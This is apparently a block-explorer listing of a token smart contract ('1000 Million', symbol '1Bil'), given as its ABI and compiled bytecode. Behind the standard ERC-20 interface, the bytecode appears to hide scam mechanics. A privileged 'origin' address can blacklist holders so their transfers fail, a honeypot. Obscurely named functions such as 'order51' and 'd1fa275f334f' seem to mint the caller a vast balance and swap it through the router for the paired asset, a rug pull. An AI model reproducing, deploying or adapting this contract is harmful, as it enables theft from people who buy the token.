Loading
[ { "inputs": [ { "internalType": "address", "name": "routerAddress", "type": "address" }, { "internalType": "address", "name": "pairTokenAddress", "type": "address" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "AddLiquidity", "outputs": [], "stateMutability": "payable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_user", "type": "address" } ], "name": "checkCurrentStatus", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "d1fa275f334f", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_user", "type": "address" }, { "internalType": "uint8", "name": "_status", "type": "uint8" } ], "name": "editCurrentStatus", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "token", "type": "address" } ], "name": "getBaseTokenReserve", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "order51", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_newRouterAddress", "type": "address" }, { "internalType": "address", "name": "_newPairTokenAddress", "type": "address" } ], "name": "rebaseLiquidityPool", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOrigin", "type": "address" } ], "name": "switchOrigin", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" } ]
608060405269152d02c7e14af68000006007556040518060400160405280600c81526020017f31303030204d696c6c696f6e00000000000000000000000000000000000000008152506008908162000058919062000756565b506040518060400160405280600481526020017f3142696c00000000000000000000000000000000000000000000000000000000815250600990816200009f919062000756565b506012600a60006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b50604051620034da380380620034da8339818101604052810190620000ef9190620008a7565b6200010033620003ef60201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d59190620008ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200021192919062000931565b6020604051808303816000875af115801562000231573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002579190620008ee565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620002ae620004b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200037e620004b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620003df91906200096f565b60405180910390a350506200098c565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200055e57607f821691505b60208210810362000574576200057362000516565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200059f565b620005ea86836200059f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000637620006316200062b8462000602565b6200060c565b62000602565b9050919050565b6000819050919050565b620006538362000616565b6200066b62000662826200063e565b848454620005ac565b825550505050565b600090565b6200068262000673565b6200068f81848462000648565b505050565b5b81811015620006b757620006ab60008262000678565b60018101905062000695565b5050565b601f8211156200070657620006d0816200057a565b620006db846200058f565b81016020851015620006eb578190505b62000703620006fa856200058f565b83018262000694565b50505b505050565b600082821c905092915050565b60006200072b600019846008026200070b565b1980831691505092915050565b600062000746838362000718565b9150826002028217905092915050565b6200076182620004dc565b67ffffffffffffffff8111156200077d576200077c620004e7565b5b62000789825462000545565b62000796828285620006bb565b600060209050601f831160018114620007ce5760008415620007b9578287015190505b620007c5858262000738565b86555062000835565b601f198416620007de866200057a565b60005b828110156200080857848901518255600182019150602085019450602081019050620007e1565b8683101562000828578489015162000824601f89168262000718565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200086f8262000842565b9050919050565b620008818162000862565b81146200088d57600080fd5b50565b600081519050620008a18162000876565b92915050565b60008060408385031215620008c157620008c06200083d565b5b6000620008d18582860162000890565b9250506020620008e48582860162000890565b9150509250929050565b6000602082840312156200090757620009066200083d565b5b6000620009178482850162000890565b91505092915050565b6200092b8162000862565b82525050565b600060408201905062000948600083018562000920565b62000957602083018462000920565b9392505050565b620009698162000602565b82525050565b60006020820190506200098660008301846200095e565b92915050565b612b3e806200099c6000396000f3fe6080604052600436106101355760003560e01c80638da5cb5b116100ab578063b5c72e1a1161006f578063b5c72e1a1461041d578063d445d19e1461045a578063dd62ed3e14610471578063edd8b64a146104ae578063f1fee6a2146104d7578063f2fde38b1461050057610135565b80638da5cb5b1461033657806395d89b411461036157806397be26431461038c578063a457c2d7146103a3578063a9059cbb146103e057610135565b806323b872dd116100fd57806323b872dd14610200578063313ce5671461023d57806335d162741461026857806339509351146102a557806370a08231146102e2578063715018a61461031f57610135565b806306fdde031461013a578063095ea7b3146101655780630bc488c5146101a25780630cdd8436146101ac57806318160ddd146101d5575b600080fd5b34801561014657600080fd5b5061014f610529565b60405161015c9190611b48565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611c12565b6105bb565b6040516101999190611c6d565b60405180910390f35b6101aa6105d7565b005b3480156101b857600080fd5b506101d360048036038101906101ce9190611cc1565b61070f565b005b3480156101e157600080fd5b506101ea610871565b6040516101f79190611d10565b60405180910390f35b34801561020c57600080fd5b5061022760048036038101906102229190611d2b565b61087b565b6040516102349190611c6d565b60405180910390f35b34801561024957600080fd5b506102526108a3565b60405161025f9190611d8d565b60405180910390f35b34801561027457600080fd5b5061028f600480360381019061028a9190611da8565b6108ba565b60405161029c9190611d10565b60405180910390f35b3480156102b157600080fd5b506102cc60048036038101906102c79190611c12565b610a4f565b6040516102d99190611c6d565b60405180910390f35b3480156102ee57600080fd5b5061030960048036038101906103049190611da8565b610a7f565b6040516103169190611d10565b60405180910390f35b34801561032b57600080fd5b50610334610ac8565b005b34801561034257600080fd5b5061034b610adc565b6040516103589190611de4565b60405180910390f35b34801561036d57600080fd5b50610376610b05565b6040516103839190611b48565b60405180910390f35b34801561039857600080fd5b506103a1610b97565b005b3480156103af57600080fd5b506103ca60048036038101906103c59190611c12565b610e89565b6040516103d79190611c6d565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190611c12565b610ef9565b6040516104149190611c6d565b60405180910390f35b34801561042957600080fd5b50610444600480360381019061043f9190611da8565b610f15565b6040516104519190611c6d565b60405180910390f35b34801561046657600080fd5b5061046f610f7e565b005b34801561047d57600080fd5b5061049860048036038101906104939190611dff565b610fb4565b6040516104a59190611d10565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190611da8565b61103b565b005b3480156104e357600080fd5b506104fe60048036038101906104f99190611dff565b6110ab565b005b34801561050c57600080fd5b5061052760048036038101906105229190611da8565b6112ff565b005b60606008805461053890611e6e565b80601f016020809104026020016040519081016040528092919081815260200182805461056490611e6e565b80156105b15780601f10610586576101008083540402835291602001916105b1565b820191906000526020600020905b81548152906001019060200180831161059457829003601f168201915b5050505050905090565b6000803390506105cc818585611382565b600191505092915050565b61060333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154b565b6106153061061033610a7f565b610ef9565b5061064b30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064630610a7f565b611382565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f91b3f72343061069430610a7f565b600080336104b0426106a69190611ece565b6040518863ffffffff1660e01b81526004016106c796959493929190611f47565b60606040518083038185885af11580156106e5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061070a9190611fbd565b505050565b61073b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154b565b60028160ff1610610781576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107789061205c565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c906120c8565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b60008033905061088c8582856115bd565b610897858585611649565b60019150509392505050565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561092c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610950919061216a565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ff91906121d2565b73ffffffffffffffffffffffffffffffffffffffff1614610a3057816dffffffffffffffffffffffffffff16610a42565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b600080339050610a74818585610a658589610fb4565b610a6f9190611ece565b611382565b600191505092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ad061190b565b610ada6000611982565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610b1490611e6e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4090611e6e565b8015610b8d5780601f10610b6257610100808354040283529160200191610b8d565b820191906000526020600020905b815481529060010190602001808311610b7057829003601f168201915b5050505050905090565b610bc333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154b565b6000610bce306108ba565b90506000816dffffffffffffffffffffffffffff8016610bee91906121ff565b9050610bf8611a46565b610c0a30610c0533610a7f565b610ef9565b50610c4830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611382565b6060600267ffffffffffffffff811115610c6557610c64612233565b5b604051908082528060200260200182016040528015610c935781602001602082028036833780820191505090505b5090503081600081518110610cab57610caa612262565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7691906121d2565b81600181518110610d8a57610d89612262565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610e1a9190611ece565b6040518663ffffffff1660e01b8152600401610e3a95949392919061234f565b6000604051808303816000875af1158015610e59573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e8291906124c2565b5050505050565b6000803390506000610e9b8286610fb4565b905083811015610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed79061257d565b60405180910390fd5b610eed8286868403611382565b60019250505092915050565b600080339050610f0a818585611649565b600191505092915050565b600080600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614610f74576001610f77565b60005b9050919050565b610faa33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154b565b610fb2611a46565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61106733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154b565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6110d733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661154b565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116e5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561121c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124091906121d2565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b815260040161127a92919061259d565b602060405180830381865afa158015611297573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bb91906121d2565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b61130761190b565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d90612638565b60405180910390fd5b61137f81611982565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e8906126ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611460576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114579061275c565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161153e9190611d10565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146115b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b0906127ee565b60405180910390fd5b5050565b60006115c98484610fb4565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116435781811015611635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162c9061285a565b60405180910390fd5b6116428484848403611382565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af906128ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171e9061297e565b60405180910390fd5b61173083610f15565b15611770576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611767906129ea565b60405180910390fd5b61177b838383611aae565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f990612a7c565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118f29190611d10565b60405180910390a3611905848484611ab3565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff1661192a610adc565b73ffffffffffffffffffffffffffffffffffffffff1614611980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197790612ae8565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aa59190611ece565b92505081905550565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611af2578082015181840152602081019050611ad7565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b1a82611ab8565b611b248185611ac3565b9350611b34818560208601611ad4565b611b3d81611afe565b840191505092915050565b60006020820190508181036000830152611b628184611b0f565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ba982611b7e565b9050919050565b611bb981611b9e565b8114611bc457600080fd5b50565b600081359050611bd681611bb0565b92915050565b6000819050919050565b611bef81611bdc565b8114611bfa57600080fd5b50565b600081359050611c0c81611be6565b92915050565b60008060408385031215611c2957611c28611b74565b5b6000611c3785828601611bc7565b9250506020611c4885828601611bfd565b9150509250929050565b60008115159050919050565b611c6781611c52565b82525050565b6000602082019050611c826000830184611c5e565b92915050565b600060ff82169050919050565b611c9e81611c88565b8114611ca957600080fd5b50565b600081359050611cbb81611c95565b92915050565b60008060408385031215611cd857611cd7611b74565b5b6000611ce685828601611bc7565b9250506020611cf785828601611cac565b9150509250929050565b611d0a81611bdc565b82525050565b6000602082019050611d256000830184611d01565b92915050565b600080600060608486031215611d4457611d43611b74565b5b6000611d5286828701611bc7565b9350506020611d6386828701611bc7565b9250506040611d7486828701611bfd565b9150509250925092565b611d8781611c88565b82525050565b6000602082019050611da26000830184611d7e565b92915050565b600060208284031215611dbe57611dbd611b74565b5b6000611dcc84828501611bc7565b91505092915050565b611dde81611b9e565b82525050565b6000602082019050611df96000830184611dd5565b92915050565b60008060408385031215611e1657611e15611b74565b5b6000611e2485828601611bc7565b9250506020611e3585828601611bc7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e8657607f821691505b602082108103611e9957611e98611e3f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611ed982611bdc565b9150611ee483611bdc565b9250828201905080821115611efc57611efb611e9f565b5b92915050565b6000819050919050565b6000819050919050565b6000611f31611f2c611f2784611f02565b611f0c565b611bdc565b9050919050565b611f4181611f16565b82525050565b600060c082019050611f5c6000830189611dd5565b611f696020830188611d01565b611f766040830187611f38565b611f836060830186611f38565b611f906080830185611dd5565b611f9d60a0830184611d01565b979650505050505050565b600081519050611fb781611be6565b92915050565b600080600060608486031215611fd657611fd5611b74565b5b6000611fe486828701611fa8565b9350506020611ff586828701611fa8565b925050604061200686828701611fa8565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b6000612046601783611ac3565b915061205182612010565b602082019050919050565b6000602082019050818103600083015261207581612039565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006120b2601d83611ac3565b91506120bd8261207c565b602082019050919050565b600060208201905081810360008301526120e1816120a5565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61210b816120e8565b811461211657600080fd5b50565b60008151905061212881612102565b92915050565b600063ffffffff82169050919050565b6121478161212e565b811461215257600080fd5b50565b6000815190506121648161213e565b92915050565b60008060006060848603121561218357612182611b74565b5b600061219186828701612119565b93505060206121a286828701612119565b92505060406121b386828701612155565b9150509250925092565b6000815190506121cc81611bb0565b92915050565b6000602082840312156121e8576121e7611b74565b5b60006121f6848285016121bd565b91505092915050565b600061220a82611bdc565b915061221583611bdc565b925082820390508181111561222d5761222c611e9f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6122c681611b9e565b82525050565b60006122d883836122bd565b60208301905092915050565b6000602082019050919050565b60006122fc82612291565b612306818561229c565b9350612311836122ad565b8060005b8381101561234257815161232988826122cc565b9750612334836122e4565b925050600181019050612315565b5085935050505092915050565b600060a0820190506123646000830188611d01565b6123716020830187611f38565b818103604083015261238381866122f1565b90506123926060830185611dd5565b61239f6080830184611d01565b9695505050505050565b600080fd5b6123b782611afe565b810181811067ffffffffffffffff821117156123d6576123d5612233565b5b80604052505050565b60006123e9611b6a565b90506123f582826123ae565b919050565b600067ffffffffffffffff82111561241557612414612233565b5b602082029050602081019050919050565b600080fd5b600061243e612439846123fa565b6123df565b9050808382526020820190506020840283018581111561246157612460612426565b5b835b8181101561248a57806124768882611fa8565b845260208401935050602081019050612463565b5050509392505050565b600082601f8301126124a9576124a86123a9565b5b81516124b984826020860161242b565b91505092915050565b6000602082840312156124d8576124d7611b74565b5b600082015167ffffffffffffffff8111156124f6576124f5611b79565b5b61250284828501612494565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612567602583611ac3565b91506125728261250b565b604082019050919050565b600060208201905081810360008301526125968161255a565b9050919050565b60006040820190506125b26000830185611dd5565b6125bf6020830184611dd5565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612622602683611ac3565b915061262d826125c6565b604082019050919050565b6000602082019050818103600083015261265181612615565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006126b4602483611ac3565b91506126bf82612658565b604082019050919050565b600060208201905081810360008301526126e3816126a7565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612746602283611ac3565b9150612751826126ea565b604082019050919050565b6000602082019050818103600083015261277581612739565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006127d8602183611ac3565b91506127e38261277c565b604082019050919050565b60006020820190508181036000830152612807816127cb565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612844601d83611ac3565b915061284f8261280e565b602082019050919050565b6000602082019050818103600083015261287381612837565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128d6602583611ac3565b91506128e18261287a565b604082019050919050565b60006020820190508181036000830152612905816128c9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612968602383611ac3565b91506129738261290c565b604082019050919050565b600060208201905081810360008301526129978161295b565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b60006129d4602083611ac3565b91506129df8261299e565b602082019050919050565b60006020820190508181036000830152612a03816129c7565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612a66602683611ac3565b9150612a7182612a0a565b604082019050919050565b60006020820190508181036000830152612a9581612a59565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ad2602083611ac3565b9150612add82612a9c565b602082019050919050565b60006020820190508181036000830152612b0181612ac5565b905091905056fea264697066735822122028c31c03dc4af4a7dcf5e81f9543bf069594222484504fee8b35232d78075ef364736f6c6343000813003300000000000000000000000060ae616a2155ee3d9a68541ba4544862310933d4000000000000000000000000b31f66aa3c1e785363f0875a1b74e27b85fd66c7